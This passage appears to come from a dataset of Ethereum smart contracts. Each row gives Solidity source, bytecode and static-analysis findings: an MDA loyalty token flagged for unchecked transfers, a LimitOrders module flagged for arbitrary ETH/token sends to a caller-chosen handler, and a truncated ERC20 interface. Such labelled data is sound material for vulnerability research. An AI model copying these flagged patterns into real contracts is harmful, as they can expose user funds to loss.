function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifing the amount of tokens still avaible for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract MigrationAgent {
/*
MigrationAgent contracts need to have this exact constant!
it is intended to be identify the contract, since there is no way to tell
if a contract is indeed an instance of the right type of contract otherwise
*/
uint256 public constant MIGRATE_MAGIC_ID = 0x6e538c0d750418aae4131a91e5a20363;
/*
A contract implementing this interface is assumed to implement the neccessary
access controls. E.g;
* token being migrated FROM is the only one allowed to call migrateTo
* token being migrated TO has a minting function that can only be called by
the migration agent
*/
function migrateTo(address beneficiary, uint256 amount) external;
}
/// @title Moeda Loyalty Points token contract
/// @author Erik Mossberg
contract MoedaToken is StandardToken, Ownable, HasNoTokens {
string public constant name = "Moeda Loyalty Points";
string public constant symbol = "MDA";
uint8 public constant decimals = 18;
// The migration agent is used to be to allow opt-in transfer of tokens to a
// new token contract. This could be set sometime in the future if additional
// functionality needs be added.
MigrationAgent public migrationAgent;
// used to ensure that a given address is an instance of a particular contract
uint256 constant AGENT_MAGIC_ID = 0x6e538c0d750418aae4131a91e5a20363;
uint256 public totalMigrated;
uint constant TOKEN_MULTIPLIER = 10**uint256(decimals);
// don't allow creation of more than this number of tokens
uint public constant MAX_TOKENS = 20000000 * TOKEN_MULTIPLIER;
// transfers are locked during minting
bool public mintingFinished;
// Log when tokens are migrated to a new contract
event LogMigration(address indexed spender, address grantee, uint256 amount);
event LogCreation(address indexed donor, uint256 tokensReceived);
event LogDestruction(address indexed sender, uint256 amount);
event LogMintingFinished();
modifier afterMinting() {
require(mintingFinished);
_;
}
modifier canTransfer(address recipient) {
require(mintingFinished && recipient != address(0));
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
/// @dev Create moeda token and assign partner allocations
function MoedaToken() {
// manual distribution
issueTokens();
}
function issueTokens() internal {
mint(0x2f37be861699b6127881693010596B4bDD146f5e, MAX_TOKENS);
}
/// @dev start a migration to a new contract
/// @param agent address of contract handling migration
function setMigrationAgent(address agent) external onlyOwner afterMinting {
require(agent != address(0) && isContract(agent));
require(MigrationAgent(agent).MIGRATE_MAGIC_ID() == AGENT_MAGIC_ID);
require(migrationAgent == address(0));
migrationAgent = MigrationAgent(agent);
}
function isContract(address addr) internal constant returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
/// @dev move a given amount of tokens a new contract (destroying them here)
/// @param beneficiary address that will get tokens in new contract
/// @param amount the number of tokens to migrate
function migrate(address beneficiary, uint256 amount) external afterMinting {
require(beneficiary != address(0));
require(migrationAgent != address(0));
require(amount > 0);
// safemath subtraction will throw if balance < amount
balances[msg.sender] = balances[msg.sender].sub(amount);
totalSupply = totalSupply.sub(amount);
totalMigrated = totalMigrated.add(amount);
migrationAgent.migrateTo(beneficiary, amount);
LogMigration(msg.sender, beneficiary, amount);
}
/// @dev destroy a given amount of tokens owned by sender
// anyone that owns tokens can destroy them, reducing the total supply
function burn(uint256 amount) external {
require(amount > 0);
balances[msg.sender] = balances[msg.sender].sub(amount);
totalSupply = totalSupply.sub(amount);
LogDestruction(msg.sender, amount);
}
/// @dev unlock transfers
function unlock() external onlyOwner canMint {
mintingFinished = true;
LogMintingFinished();
}
/// @dev create tokens, only usable before minting has ended
/// @param recipient address that will receive the created tokens
/// @param amount the number of tokens to create
function mint(address recipient, uint256 amount) internal canMint {
require(amount > 0);
require(totalSupply.add(amount) <= MAX_TOKENS);
balances[recipient] = balances[recipient].add(amount);
totalSupply = totalSupply.add(amount);
LogCreation(recipient, amount);
}
// only allowed after minting has ended
// note: transfers to null address not allowed, use burn(value)
function transfer(address to, uint _value)
public canTransfer(to) returns (bool)
{
return super.transfer(to, _value);
}
// only allowed after minting has ended
// note: transfers to null address not allowed, use burn(value)
function transferFrom(address from, address to, uint value)
public canTransfer(to) returns (bool)
{
return super.transferFrom(from, to, value);
}
}
|
0x606060405236156101015763ffffffff60e060020a60003504166305d2035b811461010657806306fdde031461012d578063095ea7b3146101b857806317ffc320146101ee57806318160ddd1461020f57806323b872dd14610234578063313ce5671461027057806342966c681461029957806370a08231146102b157806375e2ff65146102e25780638328dbcd146103035780638da5cb5b1461033257806395a0f5eb1461036157806395d89b4114610386578063a69df4b514610411578063a9059cbb14610426578063ad68ebf71461045c578063c0ee0b8a14610480578063dd62ed3e146104b1578063f2fde38b146104e8578063f47c84c514610509575b600080fd5b341561011157600080fd5b61011961052e565b604051901515815260200160405180910390f35b341561013857600080fd5b610140610537565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017d5780820151818401525b602001610164565b50505050905090810190601f1680156101aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101c357600080fd5b610119600160a060020a036004351660243561056e565b604051901515815260200160405180910390f35b34156101f957600080fd5b61020d600160a060020a0360043516610615565b005b341561021a57600080fd5b610222610731565b60405190815260200160405180910390f35b341561023f57600080fd5b610119600160a060020a0360043581169060243516604435610737565b604051901515815260200160405180910390f35b341561027b57600080fd5b610283610778565b60405160ff909116815260200160405180910390f35b34156102a457600080fd5b61020d60043561077d565b005b34156102bc57600080fd5b610222600160a060020a0360043516610824565b60405190815260200160405180910390f35b34156102ed57600080fd5b61020d600160a060020a0360043516610843565b005b341561030e57600080fd5b610316610959565b604051600160a060020a03909116815260200160405180910390f35b341561033d57600080fd5b610316610968565b604051600160a060020a03909116815260200160405180910390f35b341561036c57600080fd5b610222610977565b60405190815260200160405180910390f35b341561039157600080fd5b61014061097d565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561017d5780820151818401525b602001610164565b50505050905090810190601f1680156101aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561041c57600080fd5b61020d6109b4565b005b341561043157600080fd5b610119600160a060020a0360043516602435610a1d565b604051901515815260200160405180910390f35b341561046757600080fd5b61020d600160a060020a0360043516602435610a5c565b005b341561048b57600080fd5b61020d60048035600160a060020a0316906024803591604435918201910135610101565b005b34156104bc57600080fd5b610222600160a060020a0360043581169060243516610bde565b60405190815260200160405180910390f35b34156104f357600080fd5b61020d600160a060020a0360043516610c0b565b005b341561051457600080fd5b610222610c63565b60405190815260200160405180910390f35b60065460ff1681565b60408051908101604052601481527f4d6f656461204c6f79616c747920506f696e7473000000000000000000000000602082015281565b60008115806105a05750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b15156105ab57600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a35060015b92915050565b600354600090819033600160a060020a0390811691161461063557600080fd5b82915081600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561068f57600080fd5b6102c65a03f115156106a057600080fd5b5050506040518051600354909250600160a060020a03808516925063a9059cbb91168360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561070f57600080fd5b6102c65a03f1151561072057600080fd5b505050604051805150505b5b505050565b60005481565b600654600090839060ff1680156107565750600160a060020a03811615155b151561076157600080fd5b61076c858585610c72565b91505b5b509392505050565b601281565b6000811161078a57600080fd5b600160a060020a0333166000908152600160205260409020546107b3908263ffffffff610d8716565b600160a060020a033316600090815260016020526040812091909155546107e0908263ffffffff610d8716565b600055600160a060020a0333167f08a381875cba5d2c4e871adcb72ddeee26886849567c5492f52eb5dcd51406e48260405190815260200160405180910390a25b50565b600160a060020a0381166000908152600160205260409020545b919050565b60035433600160a060020a0390811691161461085e57600080fd5b60065460ff16151561086f57600080fd5b600160a060020a0381161580159061088b575061088b81610d9e565b5b151561089757600080fd5b6f6e538c0d750418aae4131a91e5a2036381600160a060020a0316633d1bcac06000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156108ee57600080fd5b6102c65a03f115156108ff57600080fd5b5050506040518051905014151561091557600080fd5b600454600160a060020a03161561092b57600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600454600160a060020a031681565b600354600160a060020a031681565b60055481565b60408051908101604052600381527f4d44410000000000000000000000000000000000000000000000000000000000602082015281565b60035433600160a060020a039081169116146109cf57600080fd5b60065460ff16156109df57600080fd5b6006805460ff191660011790557f6cb020f8135880647f26f417a2afa43b38dcc9eb771cfc1c524bdf64f02d181b60405160405180910390a15b5b5b565b600654600090839060ff168015610a3c5750600160a060020a03811615155b1515610a4757600080fd5b610a518484610dad565b91505b5b5092915050565b60065460ff161515610a6d57600080fd5b600160a060020a0382161515610a8257600080fd5b600454600160a060020a03161515610a9957600080fd5b60008111610aa657600080fd5b600160a060020a033316600090815260016020526040902054610acf908263ffffffff610d8716565b600160a060020a03331660009081526001602052604081209190915554610afc908263ffffffff610d8716565b600055600554610b12908263ffffffff610e6d16565b600555600454600160a060020a0316630d213d31838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b1515610b6b57600080fd5b6102c65a03f11515610b7c57600080fd5b50505033600160a060020a03167f5387614dd8d042f434b2b210fd289b0688bfb31bfeb0b26ae519b1627bde45f88383604051600160a060020a03909216825260208201526040908101905180910390a25b5b5050565b600080fd5b50505050565b600160a060020a038083166000908152600260209081526040808320938516835292905220545b92915050565b60035433600160a060020a03908116911614610c2657600080fd5b600160a060020a03811615610821576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b6a108b2a2c2802909400000081565b600160a060020a038084166000908152600260209081526040808320338516845282528083205493861683526001909152812054909190610cb9908463ffffffff610e6d16565b600160a060020a038086166000908152600160205260408082209390935590871681522054610cee908463ffffffff610d8716565b600160a060020a038616600090815260016020526040902055610d17818463ffffffff610d8716565b600160a060020a03808716600081815260026020908152604080832033861684529091529081902093909355908616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b509392505050565b600082821115610d9357fe5b508082035b92915050565b6000813b908111905b50919050565b600160a060020a033316600090815260016020526040812054610dd6908363ffffffff610d8716565b600160a060020a033381166000908152600160205260408082209390935590851681522054610e0b908363ffffffff610e6d16565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060015b92915050565b600082820183811015610e7c57fe5b8091505b5092915050565b610a19732f37be861699b6127881693010596b4bdd146f5e6a108b2a2c28029094000000610eb3565b5b565b60065460ff1615610ec357600080fd5b60008111610ed057600080fd5b6000546a108b2a2c2802909400000090610ef0908363ffffffff610e6d16565b1115610efb57600080fd5b600160a060020a038216600090815260016020526040902054610f24908263ffffffff610e6d16565b600160a060020a03831660009081526001602052604081209190915554610f51908263ffffffff610e6d16565b600055600160a060020a0382167f6d3add512fa635c40935b84c7df270a56e091dbfc08739b1d929d000e4a542a18260405190815260200160405180910390a25b5b50505600a165627a7a723058208e25c43bf76f8938a3227efe2a86ea148c0c8748566fd8f8806419f8373e72b10029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 5,373 |
0xb586990FDeD9B7d57c0a1D1f121e0C214501cECc
|
pragma solidity ^0.6.8;
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IModule {
/// @notice receive ETH
receive() external payable;
/**
* @notice Executes an order
* @param _inputToken - Address of the input token
* @param _inputAmount - uint256 of the input token amount (order amount)
* @param _owner - Address of the order's owner
* @param _data - Bytes of the order's data
* @param _auxData - Bytes of the auxiliar data used for the handlers to execute the order
* @return bought - amount of output token bought
*/
function execute(
IERC20 _inputToken,
uint256 _inputAmount,
address payable _owner,
bytes calldata _data,
bytes calldata _auxData
) external returns (uint256 bought);
/**
* @notice Check whether an order can be executed or not
* @param _inputToken - Address of the input token
* @param _inputAmount - uint256 of the input token amount (order amount)
* @param _data - Bytes of the order's data
* @param _auxData - Bytes of the auxiliar data used for the handlers to execute the order
* @return bool - whether the order can be executed or not
*/
function canExecute(
IERC20 _inputToken,
uint256 _inputAmount,
bytes calldata _data,
bytes calldata _auxData
) external view returns (bool);
}
interface IHandler {
/// @notice receive ETH
receive() external payable;
/**
* @notice Handle an order execution
* @param _inputToken - Address of the input token
* @param _outputToken - Address of the output token
* @param _inputAmount - uint256 of the input token amount
* @param _minReturn - uint256 of the min return amount of output token
* @param _data - Bytes of arbitrary data
* @return bought - Amount of output token bought
*/
function handle(
IERC20 _inputToken,
IERC20 _outputToken,
uint256 _inputAmount,
uint256 _minReturn,
bytes calldata _data
) external payable returns (uint256 bought);
/**
* @notice Check whether can handle an order execution
* @param _inputToken - Address of the input token
* @param _outputToken - Address of the output token
* @param _inputAmount - uint256 of the input token amount
* @param _minReturn - uint256 of the min return amount of output token
* @param _data - Bytes of arbitrary data
* @return bool - Whether the execution can be handled or not
*/
function canHandle(
IERC20 _inputToken,
IERC20 _outputToken,
uint256 _inputAmount,
uint256 _minReturn,
bytes calldata _data
) external view returns (bool);
}
contract Order {
address public constant ETH_ADDRESS = address(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
function transfer(IERC20 _token, address _to, uint256 _val) internal returns (bool) {
(bool success, bytes memory data) = address(_token).call(abi.encodeWithSelector(_token.transfer.selector, _to, _val));
return success && (data.length == 0 || abi.decode(data, (bool)));
}
}
library HyperUtils {
address internal constant ETH_ADDRESS = address(0x00eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee);
/**
* @notice Get the account's balance of token or ETH
* @param _token - Address of the token
* @param _addr - Address of the account
* @return uint256 - Account's balance of token or ETH
*/
function balanceOf(IERC20 _token, address _addr) internal view returns (uint256) {
if (ETH_ADDRESS == address(_token)) {
return _addr.balance;
}
return _token.balanceOf(_addr);
}
/**
* @notice Transfer token or ETH to a destinatary
* @param _token - Address of the token
* @param _to - Address of the recipient
* @param _val - Uint256 of the amount to transfer
* @return bool - Whether the transfer was success or not
*/
function transfer(IERC20 _token, address _to, uint256 _val) internal returns (bool) {
if (ETH_ADDRESS == address(_token)) {
(bool success, ) = _to.call{value:_val}("");
return success;
}
return SafeERC20.transfer(_token, _to, _val);
}
}
/// @notice Module used to execute limit orders create in the core contract
contract LimitOrders is IModule, Order {
using SafeMath for uint256;
/// @notice receive ETH
receive() external override payable { }
/**
* @notice Executes an order
* @param _inputToken - Address of the input token
* @param _owner - Address of the order's owner
* @param _data - Bytes of the order's data
* @param _auxData - Bytes of the auxiliar data used for the handlers to execute the order
* @return bought - amount of output token bought
*/
function execute(
IERC20 _inputToken,
uint256,
address payable _owner,
bytes calldata _data,
bytes calldata _auxData
) external override returns (uint256 bought) {
(
IERC20 outputToken,
uint256 minReturn
) = abi.decode(
_data,
(
IERC20,
uint256
)
);
(IHandler handler) = abi.decode(_auxData, (IHandler));
// Do not trust on _inputToken, it can mismatch the real balance
uint256 inputAmount = HyperUtils.balanceOf(_inputToken, address(this));
_transferAmount(_inputToken, address(handler), inputAmount);
handler.handle(
_inputToken,
outputToken,
inputAmount,
minReturn,
_auxData
);
bought = HyperUtils.balanceOf(outputToken, address(this));
require(bought >= minReturn, "LimitOrders#execute: ISSUFICIENT_BOUGHT_TOKENS");
_transferAmount(outputToken, _owner, bought);
return bought;
}
/**
* @notice Check whether an order can be executed or not
* @param _inputToken - Address of the input token
* @param _inputAmount - uint256 of the input token amount (order amount)
* @param _data - Bytes of the order's data
* @param _auxData - Bytes of the auxiliar data used for the handlers to execute the order
* @return bool - whether the order can be executed or not
*/
function canExecute(
IERC20 _inputToken,
uint256 _inputAmount,
bytes calldata _data,
bytes calldata _auxData
) external override view returns (bool) {
(
IERC20 outputToken,
uint256 minReturn
) = abi.decode(
_data,
(
IERC20,
uint256
)
);
(IHandler handler) = abi.decode(_auxData, (IHandler));
return handler.canHandle(
_inputToken,
outputToken,
_inputAmount,
minReturn,
_auxData
);
}
/**
* @notice Transfer token or Ether amount to a recipient
* @param _token - Address of the token
* @param _to - Address of the recipient
* @param _amount - uint256 of the amount to be transferred
*/
function _transferAmount(
IERC20 _token,
address payable _to,
uint256 _amount
) internal {
if (address(_token) == ETH_ADDRESS) {
(bool success,) = _to.call{value: _amount}("");
require(success, "LimitOrders#_transferAmount: ETH_TRANSFER_FAILED");
} else {
require(SafeERC20.transfer(_token, _to, _amount), "LimitOrders#_transferAmount: TOKEN_TRANSFER_FAILED");
}
}
}
|
0x6080604052600436106100385760003560e01c8063a734f06e14610044578063e7ed35e314610075578063fd516dab146101715761003f565b3661003f57005b600080fd5b34801561005057600080fd5b50610059610265565b604080516001600160a01b039092168252519081900360200190f35b34801561008157600080fd5b5061015f600480360360a081101561009857600080fd5b6001600160a01b038235811692602081013592604082013590921691810190608081016060820135600160201b8111156100d157600080fd5b8201836020820111156100e357600080fd5b803590602001918460018302840111600160201b8311171561010457600080fd5b919390929091602081019035600160201b81111561012157600080fd5b82018360208201111561013357600080fd5b803590602001918460018302840111600160201b8311171561015457600080fd5b50909250905061027d565b60408051918252519081900360200190f35b34801561017d57600080fd5b506102516004803603608081101561019457600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b8111156101c357600080fd5b8201836020820111156101d557600080fd5b803590602001918460018302840111600160201b831117156101f657600080fd5b919390929091602081019035600160201b81111561021357600080fd5b82018360208201111561022557600080fd5b803590602001918460018302840111600160201b8311171561024657600080fd5b509092509050610429565b604080519115158252519081900360200190f35b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b60008060008686604081101561029257600080fd5b506001600160a01b0381351692506020908101359150600090869086908110156102bb57600080fd5b50356001600160a01b0316905060006102d48c30610543565b90506102e18c8383610606565b816001600160a01b031663e42f5ea58d8684878c8c6040518763ffffffff1660e01b815260040180876001600160a01b03166001600160a01b03168152602001866001600160a01b03166001600160a01b03168152602001858152602001848152602001806020018281038252848482818152602001925080828437600081840152601f19601f820116905080830192505050975050505050505050602060405180830381600087803b15801561039757600080fd5b505af11580156103ab573d6000803e3d6000fd5b505050506040513d60208110156103c157600080fd5b506103ce90508430610543565b94508285101561040f5760405162461bcd60e51b815260040180806020018281038252602e81526020018061082b602e913960400191505060405180910390fd5b61041a848b87610606565b50505050979650505050505050565b60008060008686604081101561043e57600080fd5b506001600160a01b03813516925060209081013591506000908690869081101561046757600080fd5b506040516334ef68dd60e01b81526001600160a01b038c8116600483019081528682166024840152604483018d90526064830186905260a06084840190815260a484018a90529335909116935083926334ef68dd928e9288928f9289928e928e9260c401848480828437600081840152601f19601f82011690508083019250505097505050505050505060206040518083038186803b15801561050957600080fd5b505afa15801561051d573d6000803e3d6000fd5b505050506040513d602081101561053357600080fd5b50519a9950505050505050505050565b600073eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b038416141561057b57506001600160a01b03811631610600565b826001600160a01b03166370a08231836040518263ffffffff1660e01b815260040180826001600160a01b03166001600160a01b0316815260200191505060206040518083038186803b1580156105d157600080fd5b505afa1580156105e5573d6000803e3d6000fd5b505050506040513d60208110156105fb57600080fd5b505190505b92915050565b6001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee14156106c1576040516000906001600160a01b0384169083908381818185875af1925050503d8060008114610676576040519150601f19603f3d011682016040523d82523d6000602084013e61067b565b606091505b50509050806106bb5760405162461bcd60e51b815260040180806020018281038252603081526020018061088b6030913960400191505060405180910390fd5b50610707565b6106cc83838361070c565b6107075760405162461bcd60e51b81526004018080602001828103825260328152602001806108596032913960400191505060405180910390fd5b505050565b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b1781529251825160009485946060948a16939092909182918083835b6020831061078b5780518252601f19909201916020918201910161076c565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146107ed576040519150601f19603f3d011682016040523d82523d6000602084013e6107f2565b606091505b5091509150818015610820575080511580610820575080806020019051602081101561081d57600080fd5b50515b969550505050505056fe4c696d69744f726465727323657865637574653a204953535546494349454e545f424f554748545f544f4b454e534c696d69744f7264657273235f7472616e73666572416d6f756e743a20544f4b454e5f5452414e534645525f4641494c45444c696d69744f7264657273235f7472616e73666572416d6f756e743a204554485f5452414e534645525f4641494c4544a2646970667358221220ba43798149c1e4fa6a4045911502a924a520b14b67918f7d2d34520607f28df764736f6c63430006080033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,374 |
0x0a057a5e6c10461b8eb8b1642e84c957d08b7842
|
/**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
